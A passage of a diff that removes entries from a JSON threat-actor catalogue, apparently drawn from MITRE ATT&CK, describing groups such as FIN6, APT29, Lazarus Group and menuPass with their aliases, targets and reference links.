has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors. (Citation: FireEye FIN6 April 2016)", - "value": "FIN6 - G0037", - "meta": { - "synonyms": [ - "FIN6" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0037", - "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" - ] - }, - "uuid": "2a7914cf-dff3-428d-ab0f-1014d1c28aeb" - }, - { - "description": "Dust Storm is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. (Citation: Cylance Dust Storm)", - "value": "Dust Storm - G0031", - "meta": { - "synonyms": [ - "Dust Storm" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0031", - "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf" - ] - }, - "uuid": "ae41895a-243f-4a65-b99b-d85022326c31" - }, - { - "description": "Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)", - "value": "Cleaver - G0003", - "meta": { - "synonyms": [ - "Cleaver", - "TG-2889", - "Threat Group 2889" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0003", - "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf", - "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/" - ] - }, - "uuid": "8f5e8dc7-739d-4f5e-a8a1-a66e004d7063" - }, - { - "description": "APT12 is a threat group that has been attributed to China. (Citation: Meyers Numbered Panda)", - "value": "APT12 - G0005", - "meta": { - "synonyms": [ - "APT12", - "IXESHE", - "DynCalc", - "Numbered Panda", - "DNSCALC" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0005", - "http://www.crowdstrike.com/blog/whois-numbered-panda/" - ] - }, - "uuid": "c47f937f-1022-4f42-8525-e7a4779a14cb" - }, - { - "description": "is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)", - "value": "NEODYMIUM - G0055", - "meta": { - "synonyms": [ - "NEODYMIUM" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0055", - "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/", - "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf" - ] - }, - "uuid": "025bdaa9-897d-4bad-afa6-013ba5734653" - }, - { - "description": "APT34 is an Iranian cyber espionage group that has been active since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. APT34 loosely aligns with public reporting related to OilRig, but may not wholly align due to companies tracking threat groups in different ways. (Citation: FireEye APT34 Dec 2017)", - "value": "APT34 - G0057", - "meta": { - "synonyms": [ - "APT34" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0057", - "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" - ] - }, - "uuid": "68ba94ab-78b8-43e7-83e2-aed3466882c6" - }, - { - "description": "Moafee is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group DragonOK. (Citation: Haq 2014)", - "value": "Moafee - G0002", - "meta": { - "synonyms": [ - "Moafee" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0002", - "https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html" - ] - }, - "uuid": "2e5d3a83-fe00-41a5-9b60-237efc84832f" - }, - { - "description": "Threat Group-3390 is a Chinese threat group that has extensively used strategic Web compromises to target victims. (Citation: Dell TG-3390) The group has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors. (Citation: SecureWorks BRONZE UNION June 2017)", - "value": "Threat Group-3390 - G0027", - "meta": { - "synonyms": [ - "Threat Group-3390", - "TG-3390", - "Emissary Panda", - "BRONZE UNION" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0027", - "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/", - "https://www.secureworks.com/research/bronze-union" - ] - }, - "uuid": "fb366179-766c-4a4a-afa1-52bff1fd601c" - }, - { - "description": "DragonOK is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)", - "value": "DragonOK - G0017", - "meta": { - "synonyms": [ - "DragonOK" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0017", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf", - "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/" - ] - }, - "uuid": "f3bdec95-3d62-42d9-a840-29630f6cdc1a" - }, - { - "description": "APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)", - "value": "APT1 - G0006", - "meta": { - "synonyms": [ - "APT1", - "Comment Crew", - "Comment Group", - "Comment Panda" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0006", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - ] - }, - "uuid": "6a2e693f-24e5-451a-9f88-b36a108e5662" - }, - { - "description": "FIN10 is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations. (Citation: FireEye FIN10 June 2017)", - "value": "FIN10 - G0051", - "meta": { - "synonyms": [ - "FIN10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0051", - "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" - ] - }, - "uuid": "fbe9387f-34e6-4828-ac28-3080020c597b" - }, - { - "description": "OilRig is a threat group with suspected Iranian origins that has targeted Middle Eastern and international victims since at least 2015. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook OilRig Dec 2017) Reporting on OilRig may loosely overlap with APT34, but may not wholly align due to companies tracking groups in different ways. (Citation: FireEye APT34 Dec 2017)\n\nContributors: Robert Falcone, Bryan Lee", - "value": "OilRig - G0049", - "meta": { - "synonyms": [ - "OilRig" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0049", - "http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/", - "http://www.clearskysec.com/oilrig/", - "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", - "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/", - "https://pan-unit42.github.io/playbook%20viewer/", - "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" - ] - }, - "uuid": "4ca1929c-7d64-4aab-b849-badbfc0c760d" - }, - { - "description": "is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. usually tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, Rocket Kitten, resulting in reporting that may not distinguish between the two groups' activities. (Citation: ClearSky Charming Kitten Dec 2017)", - "value": "Charming Kitten - G0058", - "meta": { - "synonyms": [ - "Charming Kitten" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0058", - "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf" - ] - }, - "uuid": "7636484c-adc5-45d4-9bfe-c3e062fbc4a0" - }, - { - "description": "FIN5 is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)\n\nContributors: Walker Johnson", - "value": "FIN5 - G0053", - "meta": { - "synonyms": [ - "FIN5" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0053", - "https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html", - "https://www.youtube.com/watch?v=fevGZs0EQu8", - "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?" - ] - }, - "uuid": "85403903-15e0-4f9f-9be4-a259ecad4022" - }, - { - "description": "Taidoor is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government. (Citation: TrendMicro Taidoor)", - "value": "Taidoor - G0015", - "meta": { - "synonyms": [ - "Taidoor" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0015", - "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20the%20taidoor%20campaign.pdf" - ] - }, - "uuid": "59140a2e-d117-4206-9b2c-2a8662bd9d46" - }, - { - "description": "Night Dragon is a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)", - "value": "Night Dragon - G0014", - "meta": { - "synonyms": [ - "Night Dragon" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0014", - "http://www.mcafee.com/us/resources/white-papers/wp-global-energy-cyberattacks-night-dragon.pdf" - ] - }, - "uuid": "23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8" - }, - { - "description": "Naikon is a threat group that has focused on targets around the South China Sea. (Citation: Baumgartner Naikon 2015) The group has been attributed to the Chinese People’s Liberation Army’s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020). (Citation: CameraShy) While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)", - "value": "Naikon - G0019", - "meta": { - "synonyms": [ - "Naikon" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0019", - "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf", - "http://cdn2.hubspot.net/hubfs/454298/Project%20CAMERASHY%20ThreatConnect%20Copyright%202015.pdf", - "https://securelist.com/the-naikon-apt/69953/" - ] - }, - "uuid": "2a158b0a-7ef8-43cb-9985-bf34d1e12050" - }, - { - "description": "Ke3chang is a threat group attributed to actors operating out of China. (Citation: Villeneuve et al 2014)", - "value": "Ke3chang - G0004", - "meta": { - "synonyms": [ - "Ke3chang" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0004", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" - ] - }, - "uuid": "6713ab67-e25b-49cc-808d-2b36d4fbc35c" - }, - { - "description": "APT32 is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists, and has extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based. (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017)", - "value": "APT32 - G0050", - "meta": { - "synonyms": [ - "APT32", - "OceanLotus Group" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0050", - "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", - "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/" - ] - }, - "uuid": "247cb30b-955f-42eb-97a5-a89fef69341e" - }, - { - "description": "Patchwork is a threat group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. Much of the code used by this group was copied and pasted from online forums. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork)", - "value": "Patchwork - G0040", - "meta": { - "synonyms": [ - "Patchwork", - "Dropping Elephant", - "Chinastrats" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0040", - "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling%20Patchwork.pdf", - "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries" - ] - }, - "uuid": "17862c7d-9e60-48a0-b48e-da4dc4c3f6b0" - }, - { - "description": "APT30 is a threat group suspected to be associated with the Chinese government. (Citation: FireEye APT30) While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)", - "value": "APT30 - G0013", - "meta": { - "synonyms": [ - "APT30" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0013", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", - "https://securelist.com/the-naikon-apt/69953/" - ] - }, - "uuid": "f047ee18-7985-4946-8bfb-4ed754d3a0dd" - }, - { - "description": "MONSOON is the name of an espionage campaign that apparently started in December 2015 and was ongoing as of July 2016. It is believed that the actors behind MONSOON are the same actors behind Operation Hangover. While attribution is unclear, the campaign has targeted victims with military and political interests in the Indian Subcontinent. (Citation: Forcepoint Monsoon) Operation Hangover has been reported as being Indian in origin, and can be traced back to 2010. (Citation: Operation Hangover May 2013)", - "value": "MONSOON - G0042", - "meta": { - "synonyms": [ - "MONSOON", - "Operation Hangover" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0042", - "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", - "http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling%20an%20Indian%20Cyberattack%20Infrastructure.pdf" - ] - }, - "uuid": "9559ecaf-2e75-48a7-aee8-9974020bc772" - }, - { - "description": "APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)", - "value": "APT17 - G0025", - "meta": { - "synonyms": [ - "APT17", - "Deputy Dog" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0025", - "https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf" - ] - }, - "uuid": "090242d7-73fc-4738-af68-20162f7a5aae" - }, - { - "description": "FIN7 is a financially motivated threat group that has primarily targeted the retail and hospitality sectors, often using point-of-sale malware. It is sometimes referred to as Carbanak Group, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately. (Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017)", - "value": "FIN7 - G0046", - "meta": { - "synonyms": [ - "FIN7" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0046", - "https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html", - "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" - ] - }, - "uuid": "3753cc21-2dae-4dfb-8481-d004e74502cc" - }, - { - "description": "APT3 is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)\n\n (Citation: APT3 Adversary Emulation Plan)", - "value": "APT3 - G0022", - "meta": { - "synonyms": [ - "APT3", - "Gothic Panda", - "Pirpi", - "UPS Team", - "Buckeye", - "Threat Group-0110", - "TG-0110" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0022", - "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html", - "https://www.recordedfuture.com/chinese-mss-behind-apt3/", - "https://www.fireeye.com/blog/threat-research/2014/11/operation%20doubletap.html", - "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", - "https://attack.mitre.org/w/img%20auth.php/6/6c/APT3%20Adversary%20Emulation%20Plan.pdf" - ] - }, - "uuid": "0bbdf25b-30ff-4894-a1cd-49260d0dd2d9" - }, - { - "description": "GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services. (Citation: Securelist GCMAN)", - "value": "GCMAN - G0036", - "meta": { - "synonyms": [ - "GCMAN" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0036", - "https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/" - ] - }, - "uuid": "0ea72cd5-ca30-46ba-bc04-378f701c658f" - }, - { - "description": "Lazarus Group is a threat group that has been attributed to the North Korean government. (Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by Lazarus Group correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster)", - "value": "Lazarus Group - G0032", - "meta": { - "synonyms": [ - "Lazarus Group", - "HIDDEN COBRA", - "Guardians of Peace", - "ZINC", - "NICKEL ACADEMY" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0032", - "https://www.us-cert.gov/ncas/alerts/TA17-164A", - "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" - ] - }, - "uuid": "c93fccb1-e8e8-42cf-ae33-2ad1d183913a" - }, - { - "description": "Lotus Blossom is a threat group that has targeted government and military organizations in Southeast Asia. (Citation: Lotus Blossom Jun 2015)", - "value": "Lotus Blossom - G0030", - "meta": { - "synonyms": [ - "Lotus Blossom", - "Spring Dragon" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0030", - "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" - ] - }, - "uuid": "88b7dbc2-32d3-4e31-af2f-3fc24e1582d7" - }, - { - "description": "Equation is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)", - "value": "Equation - G0020", - "meta": { - "synonyms": [ - "Equation" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0020", - "https://securelist.com/files/2015/02/Equation%20group%20questions%20and%20answers.pdf" - ] - }, - "uuid": "96e239be-ad99-49eb-b127-3007b8c1bec9" - }, - { - "description": "Darkhotel is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi‑Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing. (Citation: Kaspersky Darkhotel)", - "value": "Darkhotel - G0012", - "meta": { - "synonyms": [ - "Darkhotel" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0012", - "https://securelist.com/files/2014/11/darkhotel%20kl%2007.11.pdf" - ] - }, - "uuid": "9e729a7e-0dd6-4097-95bf-db8d64911383" - }, - { - "description": "Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. The group appeared to decrease activity following public exposure in 2014, and re-emerged in late 2015 through 2017. (Citation: Symantec Dragonfly) (Citation: Symantec Dragonfly) Sept 2017", - "value": "Dragonfly - G0035", - "meta": { - "synonyms": [ - "Dragonfly", - "Energetic Bear" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0035", - "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf" - ] - }, - "uuid": "1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1" - }, - { - "description": "Suckfly is a China-based threat group that has been active since at least 2014. (Citation: Symantec Suckfly March 2016)", - "value": "Suckfly - G0039", - "meta": { - "synonyms": [ - "Suckfly" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0039", - "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" - ] - }, - "uuid": "5cbe0d3b-6fb1-471f-b591-4b192915116d" - }, - { - "description": "Stealth Falcon is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)", - "value": "Stealth Falcon - G0038", - "meta": { - "synonyms": [ - "Stealth Falcon" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0038", - "https://citizenlab.org/2016/05/stealth-falcon/" - ] - }, - "uuid": "894aab42-3371-47b1-8859-a4a074c804c8" - }, - { - "description": "BRONZE BUTLER is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)", - "value": "BRONZE BUTLER - G0060", - "meta": { - "synonyms": [ - "BRONZE BUTLER", - "REDBALDKNIGHT", - "Tick" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0060", - "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/", - "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" - ] - }, - "uuid": "93f52415-0fe4-4d3d-896c-fc9b8e88ab90" - }, - { - "description": "Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, it has not been concluded that the groups are the same. (Citation: Scarlet Mimic Jan 2016)", - "value": "Scarlet Mimic - G0029", - "meta": { - "synonyms": [ - "Scarlet Mimic" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0029", - "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" - ] - }, - "uuid": "c5574ca0-d5a4-490a-b207-e4658e5fd1d7" - }, - { - "description": "Threat Group-1314 is an unattributed threat group that has used compromised credentials to log into a victim's remote access infrastructure. (Citation: Dell TG-1314)", - "value": "Threat Group-1314 - G0028", - "meta": { - "synonyms": [ - "Threat Group-1314", - "TG-1314" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0028", - "http://www.secureworks.com/resources/blog/living-off-the-land/" - ] - }, - "uuid": "d519164e-f5fa-4b8c-a1fb-cf0172ad0983" - }, - { - "description": "Turla is a threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies. They are known for conducting watering hole and spearphishing campaigns. (Citation: Kaspersky Turla) (Citation: ESET Gazer Aug 2017)", - "value": "Turla - G0010", - "meta": { - "synonyms": [ - "Turla", - "Waterbug", - "WhiteBear" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0010", - "https://securelist.com/the-epic-turla-operation/65545/", - "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" - ] - }, - "uuid": "7a19ecb1-3c65-4de3-a230-993516aed6a6" - }, - { - "description": "APT29 is threat group that has been attributed to the Russian government and has operated since at least 2008. (Citation: F-Secure The Dukes) (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee starting in the summer of 2015. (Citation: Crowdstrike DNC June 2016)", - "value": "APT29 - G0016", - "meta": { - "synonyms": [ - "APT29", - "The Dukes", - "Cozy Bear", - "CozyDuke" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0016", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf", - "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" - ] - }, - "uuid": "899ce53f-13a0-479b-a0e4-67d46e241542" - }, - { - "description": "menuPass is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university. (Citation: Palo Alto menuPass Feb 2017) (Citation: Crowdstrike CrowdCast Oct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud Hopper April 2017) (Citation: FireEye APT10 April 2017)", - "value": "menuPass - G0045", - "meta": { - "synonyms": [ - "menuPass", - "Stone Panda", - "APT10", - "Red Apollo", - "CVNX" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0045", - "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/", - "https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf", - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf", - "https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html" - ] - }, - "uuid": "222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f" - }, - { - "description": "Putter Panda is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA’s 3rd General Staff Department (GSD). (Citation: CrowdStrike Putter Panda)", - "value": "Putter Panda - G0024", - "meta": { - "synonyms": [ - "Putter Panda", - "APT2", - "MSUpdater" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0024", - "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" - ] - }, - "uuid": "5ce5392a-3a6c-4e07-9df3-9b6a9159ac45" - }, - { - "description": " (Citation: Axiom) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Axiom) Though both this group and Winnti Group use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)", - "value": "Axiom - G0001", - "meta": { - "synonyms": [ - "Axiom", - "Group 72" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0001", - "http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf", - "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf", - "https://securelist.com/games-are-over/70991/", - "http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf" - ] - }, - "uuid": "a0cb9370-e39b-44d5-9f50-ef78e412b973" - }, - { - "description": "Magic Hound is an espionage campaign operating primarily in the Middle East that dates back to at least mid-2016. The group behind the campaign has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia. (Citation: Unit 42 Magic Hound Feb 2017)\n\nContributors: Bryan Lee", - "value": "Magic Hound - G0059", - "meta": { - "synonyms": [ - "Magic Hound", - "Rocket Kitten", - "Operation Saffron Rose", - "Ajax Security Team", - "Operation Woolen-Goldfish", - "Newscaster", - "Cobalt Gypsy" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0059", - "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" - ] - }, - "uuid": "f9d6633a-55e6-4adc-9263-6ae080421a13" - }, - { - "description": "is an activity group that has been active since at least 2012. The group conducted a campaign in May 2016 and has heavily targeted Turkish victims. has demonstrated similarity to another activity group called NEODYMIUM due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)", - "value": "PROMETHIUM - G0056", - "meta": { - "synonyms": [ - "PROMETHIUM" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0056", - "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/", - "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf" - ] - }, - "uuid": "efed95ba-d7e8-47ff-8c53-99c42426ee7c" - }, - { - "description": "Carbanak is a threat group that mainly targets banks. It also refers to malware of the same name (Carbanak). It is sometimes referred to as FIN7, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017)\n\nContributors: Anastasios Pingios", - "value": "Carbanak - G0008", - "meta": { - "synonyms": [ - "Carbanak", - "Anunak", - "Carbon Spider" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0008", - "https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf", - "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" - ] - }, - "uuid": "55033a4d-3ffe-46b2-99b4-2c1541e9ce1c" - }, - { - "description": "APT18 is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)", - "value": "APT18 - G0026", 